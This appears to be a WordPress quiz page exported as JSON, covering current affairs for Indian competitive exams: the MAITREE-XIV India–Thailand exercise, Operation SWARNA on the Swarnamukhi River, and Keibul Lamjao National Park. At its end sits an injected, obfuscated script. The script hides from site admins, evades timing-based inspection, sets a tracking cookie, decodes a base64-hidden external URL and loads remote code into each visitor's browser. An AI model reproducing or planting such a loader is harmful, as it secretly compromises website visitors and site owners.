wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>In NEWS: <\/strong>The 14th edition of the India\u2013Thailand joint military exercise, MAITREE-XIV, commenced on Monday (September 1, 2025) with a ceremonial opening at the Joint Training Node, Umroi in Meghalaya. The exercise will run from September 1 to 14.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>MAITREE-XIV:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-105\">\n<li><strong>MAITREE-XIV<\/strong> is the <strong>14th edition<\/strong> of the <strong>India\u2013Thailand joint military exercise<\/strong>, first initiated in <strong>2006<\/strong>. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>The 2025 edition is being held at the <strong>Joint Training Node (JTN), Umroi, Meghalaya<\/strong>, from <strong>September 1 to 14, 2025<\/strong>.<\/li>\n\n\n\n<li>The exercise involves <strong>120 personnel<\/strong> from the <strong>Indian Army\u2019s Madras Regiment<\/strong> and <strong>53 personnel<\/strong> from the <strong>Royal Thai Army\u2019s 1st Infantry Battalion, 14th Infantry Brigade<\/strong>.<\/li>\n\n\n\n<li>The theme of the exercise is <strong>counter-terrorism operations in semi-urban terrain<\/strong>, conducted under the mandate of <strong>Chapter VII of the UN Charter<\/strong> (related to peace enforcement operations). <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Training modules include:<ul><li>Tactical drills and combat simulations<\/li><\/ul><ul><li>Joint planning and execution<\/li><\/ul><ul><li>Physical fitness and obstacle training<\/li><\/ul><ul><li>Use of special arms and equipment<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>48-hour validation exercise<\/strong> simulating real-time joint operations<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The exercise aims to:<ul><li>Enhance <strong>interoperability<\/strong> between the two armies<\/li><\/ul><ul><li>Improve <strong>joint operational readiness<\/strong><\/li><\/ul><ul><li>Strengthen <strong>bilateral defence cooperation<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Promote <strong>regional peace and security<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The <strong>13th edition<\/strong> of Exercise Maitree was held in <strong>Tak Province, Thailand<\/strong>, showcasing the rotational nature of the exercise between the two nations.<\/li>\n\n\n\n<li>The geographical setting of <strong>Meghalaya<\/strong>, with its semi-urban and hilly terrain, provides a realistic environment for <strong>counter-terrorism and peacekeeping simulations<\/strong>.<\/li>\n\n\n\n<li>MAITREE is one of the most significant components of India\u2019s <strong>bilateral military diplomacy<\/strong> with Southeast Asian nations, aligned with India\u2019s <strong>Act East Policy<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/india-thailand-armies-begin-joint-exercise-in-meghalaya\/article70004997.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/india-thailand-armies-begin-joint-exercise-in-meghalaya\/article70004997.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>9. Operation SWARNA, recently in the news, aims to rescue, revive, and rejuvenate which among the following rivers?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">(a) Swarnamukhi River<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">(b) Krishna River<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">(c) Tungabhadra<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(d) Penna River<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Answer: (a) Swarnamukhi River<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>In NEWS: <\/strong>TUDA moots Operation Swarna to rescue, revive, rejuvenate River Swarnamukhi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Operation Swarna:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li><strong>Operation SWARNA<\/strong> is a river rejuvenation initiative launched by the <strong>Tirupati Urban Development Authority (TUDA)<\/strong> in <strong>Andhra Pradesh<\/strong>.<\/li>\n\n\n\n<li>It aims to <strong>rescue, revive, and rejuvenate<\/strong> the <strong>Swarnamukhi River<\/strong>, which flows through the temple town of <strong>Tirupati<\/strong> and nearby regions. <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>The acronym <strong>SWARNA<\/strong> stands for <strong>Swarnamukhi Waterbody Action for River and Nala Awareness<\/strong>.<\/li>\n\n\n\n<li>The river originates in the <strong>Eastern Ghats<\/strong> near <strong>Pakala<\/strong> and flows eastwards into the <strong>Bay of Bengal<\/strong>, covering a length of approximately <strong>130 km<\/strong>.<\/li>\n\n\n\n<li>Key features of Operation SWARNA include:<ul><li><strong>Drone surveys<\/strong> to scientifically map the river\u2019s natural course<\/li><\/ul><ul><li>Creation of a <strong>50-meter buffer zone<\/strong> on both sides of the river<\/li><\/ul><ul><li><strong>Eviction of encroachments<\/strong> along the riverbanks<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Formation of a <strong>dedicated task force<\/strong> with legal powers to act against violators<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The task force under TUDA will have enforcement powers <strong>similar to HYDRAA (Hyderabad Revenue and Demolition Authority)<\/strong>.<\/li>\n\n\n\n<li>The operation focuses on both <strong>ecological conservation<\/strong> and <strong>civic responsibility<\/strong>, aiming to restore the river\u2019s original width, prevent flooding, and promote sustainable development.<\/li>\n\n\n\n<li>Operation SWARNA is aligned with broader environmental goals, including <strong>urban river rejuvenation<\/strong>, <strong>flood mitigation<\/strong>, and <strong>community-led water conservation<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Operations undertaken by the Army towards upliftment of the local population in<\/strong> <strong>remote areas to include addressing of their basic needs is called:<\/strong> <br><br>(a) Operation Sankalp <br>(b) Operation Maitri <br>(c) Operation Sadbhavana <br>(d) Operation Madad<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/andhra-pradesh\/tuda-moots-operation-swarna-to-rescue-revive-rejuvenate-river-swarnamukhi\/article69999538.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/andhra-pradesh\/tuda-moots-operation-swarna-to-rescue-revive-rejuvenate-river-swarnamukhi\/article69999538.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>10. Which of the following National Parks is unique in being a swamp with floating vegetation that supports a rich biodiversity?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(a) Bhitarkanika National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(b) Keibul Lamjao National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(c) Keoladeo Ghana National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(d) Sultanpur National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Answer: (b) Keibul Lamjao National Park<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li><strong>Keibul Lamjao National Park<\/strong> is located in <strong>Manipur<\/strong>, and it is <strong>the only floating national park in the world<\/strong>.<\/li>\n\n\n\n<li>It is situated on the <strong>Loktak Lake<\/strong>, which is famous for its <strong>phumdis<\/strong>\u2014floating mats of soil, vegetation, and organic matter.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">This unique ecosystem supports a rich biodiversity, including the <strong>endangered Sangai deer<\/strong> (also called the <strong>brow-antlered deer<\/strong> or <strong>dancing deer<\/strong>), which is endemic to this region.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements about lunar eclipses: 1. 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